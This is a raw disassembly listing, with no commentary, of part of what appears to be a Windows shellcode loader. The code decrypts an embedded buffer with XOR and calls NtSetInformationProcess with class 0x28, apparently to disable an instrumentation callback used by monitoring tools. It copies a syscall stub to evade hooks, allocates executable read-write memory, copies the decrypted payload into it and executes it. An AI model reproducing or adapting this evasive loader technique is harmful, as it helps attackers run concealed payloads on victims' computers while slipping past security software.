mov eax, dword [esi + 0x58]
mov dword [esi + 0x80], eax
mov eax, dword [esi + 0x4c]
mov dword [esi + 0x2c], eax
mov dword [esi + 0x8c], eax
mov eax, dword [esi + 0x50]
mov dword [esi + 0x28], eax
mov dword [esi + 0x88], eax
mov eax, ebx
mov dword [esi + 0x44], 0x47c
mov dword [esi + 0x48], 0x47f
mov dword [esi + 0xc], 0
mov dword [esi + 0x6c], 0x47c
movaps xmm0, xmmword [esi + 0x10]
xorps xmm0, xmmword [eax]
movaps xmmword [esi + 0x10], xmm0
movaps xmm0, xmmword [esi + 0x20]
xorps xmm0, xmmword [eax + 0x10]
movaps xmmword [esi + 0x20], xmm0
cmp byte [0x4071ec], 0
je 0x403c89
push str.NtSetInformationProcess
push dword [0x4071f4]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x403c98
mov edi, eax
mov dword [esi + 0x74], 0
mov dword [esi + 0x70], 0
mov dword [esi + 0x78], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [esi + 0x978], 0
push 0xc
push ebx
push 0x28
push eax
call edi
sar eax, 0x1f
and eax, 0xfffffffe
jmp 0x403c9d
mov eax, 0xfffffffa
mov dword [0x4071e8], eax
jmp 0x403d43
mov eax, 0xffffffff
mov dword [0x4071e8], eax
mov edi, dword [0x4071f0]
lea ebx, [esi + 0x10]
push ebx
push dword [0x4071f4]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x403cd1
push ebx
push dword [0x4071f8]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x403d8b
cmp byte [eax], 0xb8
je 0x403cdc
cmp byte [eax + 5], 0xba
jne 0x403d43
mov ecx, dword [0x4071f0]
movsd xmm0, qword [eax]
movq xmm1, qword [eax + 7]
movq qword [ecx + 7], xmm1
movsd qword [ecx], xmm0
mov dword [0x4071e8], 0
mov dword [esi + 0x978], 0
lea eax, [esi + 0x6c]
lea ecx, [esi + 0xc]
push 0x40
push 0x1000
push eax
push 0
push ecx
push 0xffffffffffffffff
call edi
mov eax, dword [esi + 0xc]
test eax, eax
je 0x403d43
mov ecx, dword [esi + 0x44]
cmp dword [esi + 0x48], 0x10
jb 0x403d32
mov edx, dword [esi + 0x34]
jmp 0x403d35
lea edx, [esi + 0x34]
push ecx
push edx
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
call dword [esi + 0xc]
mov eax, dword [esi + 0x48]
cmp eax, 0x10
jb 0x403d77
mov ecx, dword [esi + 0x34]
lea edi, [eax + 1]
cmp edi, 0x1000
jb 0x403d6d
mov edx, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edx
cmp ecx, 0x20
jae 0x403d95
add eax, 0x24
mov edi, eax
mov ecx, edx
push edi
push ecx
call fcn.00403f97
add esp, 8
mov eax, dword [esi + 0x970]
mov dword fs:[0], eax
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, 0xfffffffc
jmp 0x403c8e
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop dword [eax + eax]
push ebp
sub esp, 0x18
lea esi, [ebp - 0x97c]
mov ebp, dword [esi + 0x968]
lea ecx, [esi + 0x34]
call fcn.004012a0
add esp, 0x18
pop ebp
ret